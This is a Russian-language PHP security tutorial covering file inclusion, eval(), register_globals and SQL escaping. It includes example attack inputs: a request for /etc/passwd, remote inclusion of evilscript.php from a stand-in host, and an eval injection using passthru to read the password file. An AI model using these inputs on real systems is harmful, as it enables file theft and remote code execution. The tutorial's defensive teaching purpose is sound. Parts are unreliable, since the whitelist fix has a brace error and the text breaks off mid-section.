Цель этого документа - информировать PHP программистов о часто встречающихся ошибках безопасности, которые могут остаться незамеченными в PHP скриптах. В то время как многие из нижеследующих концепций кажутся не лишенными здравого смысла, они, к сожалению не всегда практикуются.
После применения следующих практик в написании программ, Вы сможете исключить подавляющее большинство дыр безопасности, которые содержат многие скрипты. Многие из этих дыр безопасности были найдены в часто используемых open source (открытых источниках) и коммерческих PHP скриптах, в прошлом.
Наиболее важный урок, полученный от изучения этой статьи, в том, что вы должны никогда не доверять данным полученным от пользователя ожидая именно то что требуется.
Путь, которым большинство PHP скриптов были скомпрометированы - введя непредвиденные данные использовать дыры безопасности содержащиеся в скрипте.
Всегда держите следующие принципы в уме, когда пишете свои скрипты. помните следующие принципы,
1. Никогда не используйте include, require и не открывайте файл, имя которого базируется на вводе пользователя, тщательно не проверив его перед этим.
Рассмотрим следующий пример:
if(isset($page))
{
include($page);
}
Так как здесь не производится проверки данных содержащихся в $page, злоумышленник, гипотетически, может вызвать ваш скрипт подобным образом (предполагается register_globals установлено в ON):
script.php?page=/etc/passwd
Что запросит ваш скрипт подключить (include) файл паролей сервера /etc/passwd.
При включении не PHP файла посредством include() или require(), он будет отображен в виде HTML/Text не обработанный как код PHP.
На многих установках PHP, функции include() и require() могут подключать удаленные файлы. Если злоумышленник вызовет ваш скрипт подобным образом:
script.php?page=http://mysite.com/evilscript.php
Он получит возможность через evilscript.php послать любой PHP код, который он или она пожелает, чтоб выполнил ваш скрипт. Представьте, если пользователь пошлет код удаляющий содержимое вашей базы данных или перенаправит секретную информацию прямо в браузер.
Решение: проверять ввод. Один из методов проверки - создать список разрешенных страниц. Если входные данные не соответствует какой-либо из этих страниц, может быть выведена ошибка.
$pages = array(’index.html’, ‘page2.html’, ‘page3.html’);
if( in_array($page, $pages) )
{
include($page);
{
else
{
die(”Nice Try.”);
}
2. Будьте осторожны с eval()
Размещение значений введенных пользователем в функции eval() может быть крайне опасным.
Вы по существу предоставляете злоумышленнику возможность выполнить любую команду, которую он или она пожелает! Вы можете предусмотреть ввод в выпадающем меню из указанных вами опций, но ваш пользователь может решить послать входные данные похожим образом:
script.php?input=;passthru(”cat /etc/paswd”);
Поместив свой собственный код в выражении, пользователь может вызвать вашу программу для полного вывода файла /etc/passwd.
Используйте eval() как можно реже, и во что бы то ни стало, проверяйте входные данные. Он должен использоваться только когда это крайне необходимо - когда используется динамически сгенерированный PHP код. Если вы используете его для подстановки шаблонных переменных в строку или подстановки значений введенных пользователем, то вы используете его из ошибочных соображений. Попробуйте sprintf() или систему шаблонов (template system) взамен.
3. Будьте осторожны, когда используете register_globals = ON
Это свойство стало главным предметом разногласий с тех пор как появилось. Первоначально оно задумывалось для того чтоб сделать программирования на PHP проще (и оно это сделало), но злоупотребление им зачастую ведет к дырам безопасности. Что касается PHP 4.2.0, register_globals установлено в OFF по умолчанию. Рекомендуется, чтоб Вы использовали суперглобальные переменные, работая с вводом ($_GET, $_POST, $_COOKIE, $_SESSION, etc).
Например, скажем, у Вас есть переменная, которая указывает какую страницу подключать:
include($page);
но вы подразумеваете, что Ваша целевая $page определена в конфигурационном файле или где-нибудь в скрипте, и не приходит из ввода пользователя. Однажды вы забудете предопределить $page. Если register_globals установлено в On, злоумышленник может завладеть и определить $page для Вас, вызвав Ваш скрипт подобным образом:
script.php?page=http://www.example.com/evilscript.php
Я рекомендую Вам разрабатывать с register_globals установленным в OFF, и использовать суперглобальные переменные, когда получаете ввод пользователя. Вдобавок, Вы всегда должны разрабатывать с полным отчетом об ошибках, который может быть указан как (в начале вашего скрипта):
error_reporting(E_ALL);
Таким образом, вы получите предупреждение о каждой вызываемой Вами переменной, которая не была предопределена. Да, PHP не обязывает Вас предопределять переменные так там могут быть сообщения, которые вы можете проигнорировать, но это поможет вам выловить непроинициализированные переменные, которые вы получаете из ввода или других источников. В предыдущем примере, когда $page передавалась в include(), PHP выдал бы сообщение, о том, что $page не определена. Хотите вы или нет использовать register_globals решать Вам, но будьте уверены в том, что Вы понимаете его преимущества и недостатки и как избежать возможных дыр безопасности.
4. Никогда не выполняйте неэкранированных запросов.
PHP имеет свойство, включенное по умолчанию , автоматически экранировать (добавляя впереди бакслэш “\\”) определенные символы, поступающие из GET, POST, или COOKIE. Одиночная кавычка (’) пример одного из символов которые экранируются автоматически. Это делается так что если Вы включите входные переменные в Ваш SQL запрос, она не интерпретируется одиночной кавычкой части запроса. Скажем, Ваш пользователь ввел $name через форму и Вы выполнили этот запрос:
UPDATE users SET Name=’$name’ WHERE ID=1;
Обычно, если оно содержит введенное $name с ординарной кавычкой в нем, он будет экранирован, так MySQL увидит следующее:
Copyright © 2005 - 2012